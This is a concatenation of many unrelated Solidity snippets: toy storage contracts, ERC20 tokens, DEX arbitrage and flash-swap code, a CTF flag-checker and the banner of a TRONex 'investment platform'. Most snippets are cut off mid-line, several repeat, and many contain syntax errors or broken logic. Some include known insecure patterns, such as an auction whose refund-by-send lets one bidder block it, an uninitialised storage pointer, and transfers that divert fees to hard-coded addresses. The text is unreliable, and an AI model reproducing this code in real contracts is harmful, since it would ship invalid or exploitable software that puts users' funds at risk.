import "https://github.com/aave/flashloan-box/blob/Remix/contracts/aave/ILendingPoolAddressesProvider.sol";
import "https://github.com/aave/flashloan-box/blob/Remix/contracts/aave/ILendingPool.sol";
struct Swap {
address pool;
address tokenIn;
address tokenOut;
uint swapAmount; // tokenInAmount / tokenOutAmount
uint limitReturnAmount; // minAmountOut / maxAmountIn
uint maxPrice;
}
interface IBalancerProxy {
function smartSwapExactIn(TokenInterface tokenIn, TokenInterface tokenOut, uint totalAmountIn, uint minTotalAmountOut, uint nPools)
external
payable
returns (uint totalAmountOut);
function viewSplitExactIn(address tokenIn, address tokenOut, uint swapAmount, uint nPools)
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity >=0.7.0 <0.8.0;
contract Person{
string welcomeMessage;
uint personCount = 0;
enum status {active, inactive, deleted}
constructor() {
welcomeMessage = "Welcome to this test contract";
}
struct PersonInfo {
uint serial_number;
uint name;
string email;
uint mobile;
status personStatus;
string location;
string date;
}
PersonInfo[] public persons;
function addPerson(uint serial_number, uint name, string memory email, uint mobile, status personStatus, string memory location, string memory date) public{
personCount ++;
persons[personCount] = PersonInfo(serial_number, name, email, mobile, personStatus, location, date);
}
function getPerson(uint personId) public {
PersonInfo memory person;
person = persons[personId];
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.26;
contract StructArrayInitWrong {
struct Room {
address[] guests;
}
Room[] rooms;
function createRoom() public {
address[] adr;
adr.push(msg.sender);
Room memory room = Room(adr);
rooms.push(room);
}
function getRoomsLength() view returns (uint) {
return rooms.length;
}
pragma solidity ^0.5.10;
import '../interfaces/JustswapExchange.sol';
import '../interfaces/ITRC20.sol';
contract Epsilon {
address payable owner;
event Start(uint256 value);
event End(uint256 value);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
uint256 public balancebefore;
uint256 public balanceafter;
function() external payable {}
function buyJsSellPolo(address payable dex2, uint256 amountA,address tokenA,address payable dex1, address tokenB, uint256 amountB, uint256 price,uint256 precision, uint256 TrxToPay) public payable onlyOwner {
uint256 balancebefore = address(this).balance;
emit Start(address(this).balance);
emit Start(balancebefore);
TRC20 TokenContract = TRC20(tokenA);
address payable Dex2 = address(dex2);
JustswapExchange DiceFactory=JustswapExchange(dex1);
address (TokenContract).ca
contract SolidityTest {
uint totalSupply;
function f(uint len) public pure {
uint256 a = 99999999999999999999999999999999999999999999999999999999999999999;
uint256 b = 99999999999999999999999999999999999999999999999999999999999999999;
uint256 totalSupply;
while (a >= 1){
uint(a += 999999999999999999999999999999999999999999999999999999999999999);
uint (a * b);
}
totalSupply = (a * b);
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
interface tokenRecipient {
function receiveApproval(
address _from,
uint256 _value,
address _token,
bytes _extraData
) public;
}
contract ERC20Token {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function ERC20Token(
string _tokenName,
string _tokenSymbol,
uint8 _decimals,
uint256 _totalSupply
) public {
name = _tokenName;
symbol = _tokenSymbol;
decimals = _decimals;
totalSupply = _totalSupply * 10**uint256(decimals);
balanceOf[msg.sender] = totalSupply;
}
f
pragma solidity ^0.4.26;
contract SimpleStore {
function testGas1(uint a, uint b) pure public returns (bool) {
if (a == 1 && b == 2) {
return true;
}
return false;
}
function testGas2(uint a, uint b) pure public returns (bool) {
return (a == 1 && b == 2);
}
pragma solidity ^0.4.26;
contract SimpleStore {
function testGas1(uint a, uint b) pure public returns (bool) {
if (a == 1 && b == 2) {
return true;
}
return false;
}
function testGas2(uint a, uint b) pure public returns (bool) {
return (a == 1 && b == 2);
}
pragma solidity ^0.5.10;
import '../interfaces/JustswapExchange.sol';
import '../interfaces/ITRC20.sol';
contract Epsilon {
address payable owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
JustswapExchange DiceFactory=JustswapExchange(0x60805dDed595bd1D86E148b9db31a777F25F8137);
address payable PoloniDex = address(0x41b3bddae866b2ce2349bdcb59dfbfa1a75f8552da);
TRC20 DiceToken = TRC20(0x416ce0632a762689a207b9cce915e93aa9596816ca);
function Poloapprove(address _tokenA,uint256 _amountA,address _tokenB,uint256 _amountB,uint256 _price) public payable {
ITRC20 TokenContract = ITRC20(_tokenA);
address (TokenContract).call(abi.encodeWithSignature("approve(address,uint256)",PoloniDex,_amountA));
}
function PoloSell(address _tokenA,uint256 _amountA,address _tokenB,uint256 _amountB,uint256 _price) public payable {
address (PoloniDex).call(a
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
// SPDX-License-Identifier: MIT
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// @dev using 0.8.0.
// Note: If changing this, Safe Math has to be implemented!
pragma solidity 0.8.0;
contract RGPTokenSale {
address public busd = 0x417Bf7C9dc415FEEb693B6FE313d1186C692600F;
address public rgp = 0x9bF88fAe8CF8BaB76041c1db6467E7b37b977dD7;
address public owner;
uint public price;
uint256 public tokensSold;
uint256 public decimals;
bool public saleActive;
// Emitted when tokens are sold
// SPDX-License-Identifier: MIT
/**
*Submitted for verification at Etherscan.io on 2021-01-03
*/
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface V2 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) e
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract ZombieLevelUp {
struct Zombie {
uint32 level;
uint32 winCount;
}
Zombie public zombie;
function levelUpZombie() payable public {
require (msg.value == 1 ether || zombie.winCount >= 10 * zombie.level);
zombie.winCount = 0;
zombie.level++;
}
function winBattle() public {
zombie.winCount++;
}
pragma solidity ^0.4.18;
contract CallToTheUnknown {
// Highest bidder becomes the Leader.
address currentLeader;
uint highestBid;
function() public payable {
require(msg.value > highestBid);
require(currentLeader.send(highestBid)); // Refund the old leader, if it fails then revert
currentLeader = msg.sender;
highestBid = msg.value;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
//import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.3.0/contracts/GSN/Context.sol";
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solid
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
//import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.3.0/contracts/GSN/Context.sol";
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solid
uint256[] private _allAmountArray;
uint256 private _low = 0;
function findAmountAverage(uint256[] storage array) internal view returns (uint256, uint256) {
if (array.length == 0 || _low == 0) {
return (0, 0);
}
uint256 low = array.length.sub(_low);
uint256 high = array.length;
uint256 totalAmount = 0;
uint256 mid = 0;
while (low < high) {
uint256 lowAmount = array[low];
totalAmount = totalAmount.add(lowAmount);
low += 1;
}
mid = totalAmount.div(_low);
return (mid, totalAmount);
}
function _getMid() public view returns(uint256, uint256){
(uint256 mid, uint256 tAmountAvarage) = findAmountAverage(_allAmountArray);
return (mid, tAmountAvarage);
pragma solidity ^0.7.0;
contract DStock{
uint public assetCount;
uint public personCount;
uint public transactionCount;
struct asset{
uint assetId;
string hash;
address creatorAddress;
uint cost;
uint soldCount;
}
struct person{
uint personId;
address personAddress;
uint earning;
uint tokenCount;
uint[] assetsUploaded;
uint[] assetsBought;
bool initialized;
}
mapping (uint => asset) public assets;
mapping (uint => person) public persons;
mapping (address=> uint) public getMyId;
function initializePerson() private {
if(persons[getMyId[msg.sender]].initialized == true) { return; }
persons[personCount].personId = personCount;
persons[personCount].personAddress = msg.sender;
persons[personCount].earning= 0;
persons[personCount].tokenCount = 0 ;
persons[personCount].initialized = true;
persons[
pragma solidity ^0.6.12;
contract SimpleStore {
uint256 [] private _allAmountArray;
uint256 _low = 20;
function _getMid() private return(uint256){
return findAmountAverage(_allAmountArray, _low);
}
function findAmountAverage(uint256[] storage array, uint256 _low) internal view returns (uint256) {
if (array.length == 0 || _low > array.length) {
return 0;
}
uint256 low = array.length.sub(_low);
uint256 high = array.length;
while (low < high) {
uint256 tLastAmount = 0;
uint256 lowAmount = array[low];
tLastAmount = tLastAmount.add(lowAmount);
low += 1;
}
uint256 mid = tLastAmount.div(_low)
return mid;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
require(amount <= _getMid(), "Require the amount must be less than last 20 transaction average ");
_transfer(_msgSender(), recipient, amount);
return true;
}
uint256 [] private _allAmountArray;
uint256 _low = 20;
function _getMid() private return(uint256){
return findAmountAverage(_allAmountArray, _low);
}
function findAmountAverage(uint256[] storage array, uint256 _low) internal view returns (uint256) {
if (array.length == 0 || _low > array.length) {
return 0;
}
uint256 low = array.length.sub(_low);
uint256 high = array.length;
while (low < high) {
uint256 tLastAmount = 0;
uint256 lowAmount = array[low];
tLastAmount = tLastAmount.add(lowAmount);
low += 1;
}
uint256 mid = tLastAmount.div(_low)
return mid;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
require(amount <= _getMid(), "Require the amount must be less than last 20 transaction average ");
_transfer(_msgSender(), recipient, amount);
return true;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleContract {
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity ^0.4.18;
contract SimpleContract {
function viewFunction() view returns (string) {
return "viewFunction is called";
}
function pureFunction() pure returns (string) {
return "pureFuncion is called";
}
pragma solidity ^0.4.18;
contract SimpleContract {
function viewFunction() view returns (string) {
return "viewFunction is called";
}
function pureFunction() pure returns (string) {
return "pureFuncion is called";
}
pragma solidity ^0.7.1;
contract A {
uint8 a = 0;
}
contract B {
uint256 a = 0;
pragma solidity ^0.5.0;
contract MySolidity Test{
uint Data:
constructor() public{
sData = 10;
}
function getResult(uint n) public view returns(uint){
uint x = n+1:
while(true)
{
if(x =0)
break:
}
return x;
}
pragma solidity ^0.5.12;
contract BlockBank {
uint numberOfAccounts = 0;
uint maxAccountCount = 10;
struct AccountBalance {
address owner;
uint balance;
}
mapping(address => AccountBalance) accounts;
function isAccountExists(address accountAddress) returns(bool) {
return true;
}
function openAccount() payable public {
require(!isAccountExists(msg.sender)); // modifier ile yapilir mi?
require(numberOfAccounts < maxAccountCount); // modifier ile yapilir mi?
accounts[msg.sender] = AccountBalance(msg.sender, msg.value);
numberOfAccounts++;
}
}
pragma solidity ^0.5.12;
contract BlockBank {
uint numberOfAccounts = 0;
uint maxAccountCount = 10;
struct AccountBalance {
address owner;
uint balance;
}
mapping(address => AccountBalance) accounts;
function isAccountExists(address accountAddress) returns(bool) {
return true;
}
function openAccount() payable public {
require(!isAccountExists(msg.sender)); // modifier ile yapilir mi?
require(numberOfAccounts < maxAccountCount); // modifier ile yapilir mi?
accounts[msg.sender] = AccountBalance(msg.sender, msg.value);
numberOfAccounts++;
}
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Counter {
uint value;
function initialize(uint x) public {
value=x;
}
function get() view public returns (uint) {
return value;
}
function increment(uint n) public{
value=value+n;
}
function decrement(uint n)public {
value=value-n;
}
uint value;
pragma solidity ^0.4.26;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable
/**
*Submitted for verification at Etherscan.io on 2020-11-22
*/
// SPDX-License-Identifier: MIT
//ScarcityDeFi.org
//t.me/ScarcityDeFi
/*##################################################
* ############ SCARCE DeFi Token #################
* ##################################################
*
* ##################################################
* ############# ScarcityDeFi.org ###################
* ##################################################
**/
pragma solidity 0.7.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address fr
pragma solidity =0.6.6;
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Callee.sol';
import '../libraries/UniswapV2Library.sol';
import '../interfaces/V1/IUniswapV1Factory.sol';
import '../interfaces/V1/IUniswapV1Exchange.sol';
import '../interfaces/IUniswapV2Router01.sol';
import '../interfaces/IERC20.sol';
import '../interfaces/IWETH.sol';
contract ExampleFlashSwap is IUniswapV2Callee {
IUniswapV1Factory immutable factoryV1;
address immutable factory;
IWETH immutable WETH;
constructor(address _factory, address _factoryV1, address router) public {
factoryV1 = IUniswapV1Factory(_factoryV1);
factory = _factory;
WETH = IWETH(IUniswapV2Router01(router).WETH());
}
// needs to accept ETH from any V1 exchange and WETH. ideally this could be enforced, as in the router,
// but it's not possible because it requires a call to the v1 factory, which takes too much gas
receive() external payable {}
// gets tokens/WETH via a V2 flash swap, swaps for
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18; // 18 是建议的默认值
uint256 public totalSupply;
mapping (address => uint256) public balanceOf; //
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_t
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract krishna
{
uint public m = 249;
uint public v = 6 ;
uint public count = 0;
function HashIt(uint k) public returns (uint)
{
count++;
uint mo= mod(k);
uint su=sum(mo);
return su;
}
function mod(uint k) view public returns (uint)
{
uint mo=k%m;
return mo;
}
function sum(uint s) view public returns (uint)
{
uint su=s+v;
return su;
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract CFunding {
struct Funder {
address funder;
uint256 amount;
}
struct Project {
address owner;
uint256 currentFunds;
uint32 fundingGoal;
uint64 endTimeStamp;
Funder[] funders;
}
mapping(uint32 => Project) data;
function fund(uint32 id) public payable {
if (now > data[id].endTimeStamp)
revert();
data[id].currentFunds += msg.value;
if (data[id].currentFunds > data[id].fundingGoal)
payout(id);
return;
}
function startProject(uint32 fundingGoal, uint64 endTime, uint32 id) public {
data[id].owner = msg.sender;
data[id].endTimeStamp = endTime;
data[id].fundingGoal = fundingGoal;
data[id].currentFunds = 0;
}
function payout(uint32 id) internal {
data[id].currentFunds = 0;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;
import "https://github.com/provable-things/ethereum-api/blob/master/provableAPI_0.6.sol";
contract EthCostContract is usingProvable {
uint256 public ETHUSD;
uint256 public USDDiesel;
uint256 public ETHDiesel;
mapping(bytes32=>bool) validIds;
mapping(bytes32=>bool) validIdsDiesel;
event LogConstructorInitiated(string nextStep);
event LogPriceUpdated(string price);
event LogNewProvableQuery(string description, uint queryPrice);
//Solidity 0.6 necesita specificarea modificatorului de acces pentru constructor
constructor () public payable{
emit LogConstructorInitiated("Constructor was initiated. Call 'updatePrice()' to send the Provable Query.");
}
function pay() public payable {}
function balance() public view returns(uint256) {
return address(this).balance;
}
function updatePrice() public payable {
uint queryPrice = provable_getPrice("URL");
if (2 * quer
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract C {
uint256 numOwners = 4;
function eightyPercentSigned(uint256 sigsCount)
public //modified so I can call it
view
returns (bool)
{
uint256 eightyPercentRequiredConfirmations = (numOwners * 80) / 100;
return sigsCount >= eightyPercentRequiredConfirmations;
}
}
pragma solidity ^0.6.8;
interface ICERC20 {
function mint(uint256) external returns (uint256);
function redeem(uint256) external returns (uint256);
function exchangeRateStored() external view returns (uint256);
function exchangeRateCurrent() external returns (uint256);
function getCash() external returns (uint256);
function accrueInterest() external returns (uint256);
function totalBorrowsCurrent() external returns (uint256);
function totalReserves() external returns (uint256);
// Links to public address variable from CERC200Storage
function underlying() external returns (address);
}
contract cTokenClient {
address cToken;
constructor(address _cToken) public {
cToken = _cToken;
}
// Single call cost is 40763
function callExchangeRateStored() public returns (uint256) {
return ICERC20(cToken).exchangeRateStored();
}
// Cost of doing 11 calls is 254739
// Doing it exte
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.0;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity ^0.4.26;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, addr
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
uint256 tokensToBurn = findPercent(value);
uint256 tokensToTransfer = value.sub(tokensToBurn);
uint256 tokensToStake = findStakePercent(value);
uint256 stakeToTransfer = value.sub(tokensToStake);
uint256 tokenPercent = findTokenPercent(value);
uint256 tokenValue = value.sub(tokenPercent);
// uint256 tokenValue = value.sub(stakeToTransfer.add(tokensToTransfer));
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(tokenValue);
_balances[0xbF0aa655dBa978f72Bd7f37ca9504be1DC629979] = _balances[0xbF0aa655dBa978f72Bd7f37ca9504be1DC629979].add(tokensToBurn);
_balances[0x3eCb9A2441e485fAef37f5B6AAC36a6ea22092F4] = _balances[0x3eCb9A2441e485fAef37f5B6AAC36a6ea22092F4].add(tokensToStake);
emit Transfer(msg.sender, to, tokensToTransfer);
// burns to this addr
pragma solidity >=0.4.14 <0.7.0;
contract Challenge {
event Log(string);
uint256[][] data = [[0, 10, 8, 9, 8, 22637],[11, 6, 2, 13, 0, 16996],[13, 5, 1, 0, 10, 24429],[0, 11, 11, 8, 9, 25181],[1, 3, 8, 3, 4, 26727],[4, 4, 9, 9, 6, 24428],[7, 5, 9, 2, 10, 17774],[2, 4, 4, 9, 0, 31858],[10, 11, 12, 9, 6, 24682],[11, 12, 10, 9, 2, 17526],[6, 1, 3, 0, 11, 21355],[1, 9, 8, 6, 0, 23638],[6, 11, 8, 9, 7, 23647],[11, 7, 10, 7, 11, 24431]];
uint256[] csts;
uint256 checksum = 7702;
function check(string memory flag) private returns (bool){
bytes memory b = bytes(flag);
if( b.length != 28) {
return false;
}
for(uint256 i=0;i<b.length/2;i++){
csts.push((uint256(uint8(b[i*2])) * 256) + uint256(uint8(b[i*2+1])) );
}
uint256 x;
for(uint256 i=0;i<14;i++){
x = csts[data[i][0]] ^ csts[data[i][1]] ^ csts[data[i][2]] ^ csts[data[i][3]] ^ csts[data[i][4]];
emit Log("here");
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
int uz;
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
data=_data
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract DubsStore {
function set(uint _dubs) public {
dubs = _dubs;
}
function get() public constant returns (uint) {
return dubs;
}
uint dubs;
/*
*
* TRONex - investment platform based on TRX blockchain smart-contract technology. Safe and legit!
*
* ┌───────────────────────────────────────────────────────────────────────â”
* │ Website: https://tronex.net │
* │ │
* │ Telegram Live Support: https://t.me/tronexsupport |
* │ Telegram Public Group: https://t.me/tronexgroup |
* │ Telegram News Channel: https://t.me/tronexnews |
* | |
* | Twitter: https://twitter.com/tronex_net |
* | YouTube: https://www.youtube.com/channel/UCw3ck_M-JGnEkAph4Bb2HYQ |
* | E-mail: [email protected]
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.6.3;
contract SimpleStore {
function set(uint _value) public {
value = _value;256
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity >=0.4.22 <0.7.0;
interface IStorage {
function store(uint256 num) external;
function retrieve() external view returns (uint256);
}
/**
* @title Storage
* @dev Store & retrieve value in a variable
*/
contract Storage is IStorage {
uint256 number;
/**
* @dev Store value in variable
* @param num value to store
*/
function store(uint256 num) external override {
number = num;
}
/**
* @dev Return value
* @return value of 'number'
*/
function retrieve() public view override returns (uint256){
return number;
}
}
contract A {
function retrieve(address _s) public returns (uint256) {
IStorage s = IStorage(_s);
s.retrieve();
s.retrieve();
}
function retrieveB(address _s) public returns (uint256) {
IStorage(_s).retrieve();
IStorage(_s).retrieve();
}
pragma solidity >=0.4.22 <0.7.0;
interface IStorage {
function store(uint256 num) external;
function retrieve() external view returns (uint256);
}
/**
* @title Storage
* @dev Store & retrieve value in a variable
*/
contract Storage is IStorage {
uint256 number;
/**
* @dev Store value in variable
* @param num value to store
*/
function store(uint256 num) external override {
number = num;
}
/**
* @dev Return value
* @return value of 'number'
*/
function retrieve() public view override returns (uint256){
return number;
}
}
contract A {
uint256 a =1;
function retrieve(address _s) public returns (uint256) {
IStorage s = IStorage(_s);
s.retrieve();
s.retrieve();
}
function retrieveB(address _s) public returns (uint256) {
IStorage(_s).retrieve();
IStorage(_s).retrieve();
}
/**
*Submitted for verification at Etherscan.io on 2017-12-28
*/
pragma solidity ^0.4.8;
/**
* Math operations with safety checks
*/
contract SafeMath {
function safeMul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract CST is SafeMath{
string public name;
string public symbol;
address public owner;
uint8 public decimals;
uint256 public totalSupply;
address public icoContractAddress;
uint256 public tokensTotalSupply = 210 * (10**6) * 10**18;
mapping (address => bool) restricted
pragma solidity ^0.4.24;
/* åˆç´„本體 */
contract SimpleAdd {
/* 變數宣告 */
uint number = 0;
// ... 更多變數
/* 函數定義 */
function getNumber() public view returns (uint) {
return number;
}
// ... 更多函數
function increase() public {
number++;
}
/**
*Submitted for verification at Etherscan.io on 2017-12-28
*/
pragma solidity ^0.4.8;
/**
* Math operations with safety checks
*/
contract SafeMath {
function safeMul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract CST is SafeMath{
string public name;
string public symbol;
address public owner;
uint8 public decimals;
uint256 public totalSupply;
address public icoContractAddress;
uint256 public tokensTotalSupply = 210 * (10**6) * 10**18;
mapping (address => bool) restricted
pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// 'WannadiToken' token contract
//
// Deployed to : 0x3116E7801990d294687398ED6b40B5bFbEAfd67f
// Symbol : WNDI
// Name : WannadiToken
// Total supply: 100000000
// Decimals : 18
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a
pragma solidity ^0.5.0;
contract User
{
struct UserInfo
{
string username;
bool exist;
}
mapping(uint256=>UserInfo) public Users;
mapping(address=>uint256) public userByAddr;
uint256[] usersList;
function setUser(string memory _userid,string memory _username) public
{
uint256 id = uint256(keccak256(abi.encodePacked(_userid)));
usersList.push(id);
Users[id].exist = true;
Users[id].username = _username;
userByAddr[tx.origin] = id;
}
pragma solidity >=0.4.22 <0.7.0;
contract voting {
struct Voter {
uint weight;
bool if_voted;
address delegated_to;
uint vote;
}
struct Proposal {
bytes32 name;
uint voteCount;
}
address public chairperson;
mapping(address => Voter) public voters;
Proposal[] public proposals;
constructor(bytes32[] memory proposalNames) public {
chairperson = msg.sender;
voters[chairperson].weight = 1;
for (uint i = 0; i < proposalNames.length; i++) {
proposals.push(Proposal({
name: proposalNames[i],
voteCount: 0
}));
}
}
function giveRightToVote(address voter) public {
require(
msg.sender == chairperson,
"Only the chairperson can assign voting rights."
);
require(
!voters[voter].voted,
"The voter has used their ballot."
);
require(voters[voter].weight == 0);
//Write your own contracts here. Currently compiles using solc v0.4.15f.+commit.bbb8e64
pragma solidity ^0.5.1;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
d
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner =
pragma solidity 0.7.1;
pragma experimental ABIEncoderV2;
contract ShinonomeContract {
